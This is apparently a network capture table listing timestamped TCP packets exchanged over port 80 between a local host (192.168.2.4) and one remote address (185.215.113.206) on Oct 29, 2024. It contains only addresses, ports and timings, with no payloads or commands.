Oct 29, 2024 04:52:11.506477118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.506500006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.506694078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.506711006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.506735086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.506755114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.506767035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.506792068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.507421970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.507436991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.507452965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.507476091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.507513046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.508121014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.508141994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.508157969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.508172035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.508184910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.508209944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.508905888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.508923054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.508938074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.508960962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.508985043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.509689093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.509706020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.509721041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.509737015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.509740114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.509762049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.509793043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.510468960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.510489941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.510504961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.510520935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.510545015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.511254072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.511270046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.511285067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.511308908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.511332989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.512025118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512042999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512058020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512073994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512079000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.512125969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.512151957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.512803078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512819052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512834072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.512857914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.512875080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.513598919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.513614893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.513631105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.513657093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.513672113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.582577944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.582668066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.582880974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.582899094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.582933903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.582954884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.583214045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.583230019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.583245039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.583264112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.583296061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.583817959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.583843946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.583859921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.583868027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.583901882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.584574938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.584590912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.584606886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.584630966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.584661007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.585314035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.585330963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.585345984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.585370064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.585401058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.585979939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.586003065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.586019993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.586035967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.586047888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.586083889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.586692095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.586744070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.624418020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.624475956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.624556065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.624572039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.624605894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.624634027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.624994040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.625041008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.625125885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.625174046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.625350952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.625401974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.625422955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.625442028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.625457048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.625473022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.625484943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.625509977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.626133919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.626149893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.626183033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.626199007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.626543045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.626559019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.626574993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.626597881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.626614094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.627096891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627113104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627129078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627156973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.627173901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.627880096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627897024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627911091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627928019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.627938032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.627975941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.628654957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.628670931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.628685951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.628707886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.628741980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.629447937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.629466057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.629481077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.629501104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.629524946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.630206108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.630223036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.630238056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.630251884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.630258083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.630283117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.630307913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.630980968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.630997896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.631015062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.631035089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.631047964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.631067038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.631762981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.631778955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.631793976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.631813049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.631824970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.632364988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.632383108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.632396936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.632412910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.632441998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.700686932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.700825930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.700902939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.700918913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701020002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701047897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701081991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701097012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701342106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701359034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701406002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701431990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701790094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701806068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701822996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701839924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.701845884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701859951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.701900959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.702745914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.702763081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.702779055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.702795029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.702800035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.702824116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.702855110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.703675032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.703691959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.703707933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.703725100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.703726053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.703743935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.703751087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.703759909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.703779936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.703805923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.742316961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.742391109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.742432117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.742449045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.742495060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.742508888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.742857933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.742904902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.742912054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.742949963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.743196964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.743259907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.743469000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.743484974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.743499041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.743514061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.743530035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.743536949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.743571043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.744393110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.744409084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.744424105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.744438887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.744446993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.744467974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.744501114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.745335102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.745352030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.745367050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.745383024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.745390892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.745405912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.745439053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.746263027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.746279955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.746294975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.746315956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.746319056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.746335983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.746340036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.746368885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.746404886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.746980906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.746995926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747011900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747026920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747042894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.747056961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.747081041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.747932911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747948885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747965097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747980118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.747987986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.748008966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.748039007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.748888969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.748925924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.748939991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.748956919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.748963118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.748975039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.748985052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.749021053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.749764919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.749782085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.749798059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.749819040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.749845028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.789619923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.789938927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.789942980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.789987087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.818320036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.818408966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.818423986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.818449974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.818471909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.818510056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.818660021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.818739891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.818846941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.818856955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.818938971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.819109917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819119930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819184065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.819523096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819591045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.819639921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819703102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819713116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819724083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.819844961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.820333958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.820348024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.820358038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.820368052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.820379972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.820410967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.820437908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.821187973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.821201086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.821284056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.821523905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.821535110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.821544886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.821608067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.860112906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.860233068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.860245943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.860275030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.860302925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.860614061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.860625029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.860680103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.860948086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.860960960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861008883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.861371994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861382961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861390114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861393929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861464977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.861898899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861911058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861921072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.861958981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.861987114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.862432003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.862443924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.862454891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.862473011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.862494946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.862533092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:11.863362074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.863374949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.863384008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.863394976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.863406897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:11.863420963 CET	49730	80	192.168.2.4	185.215.113.206
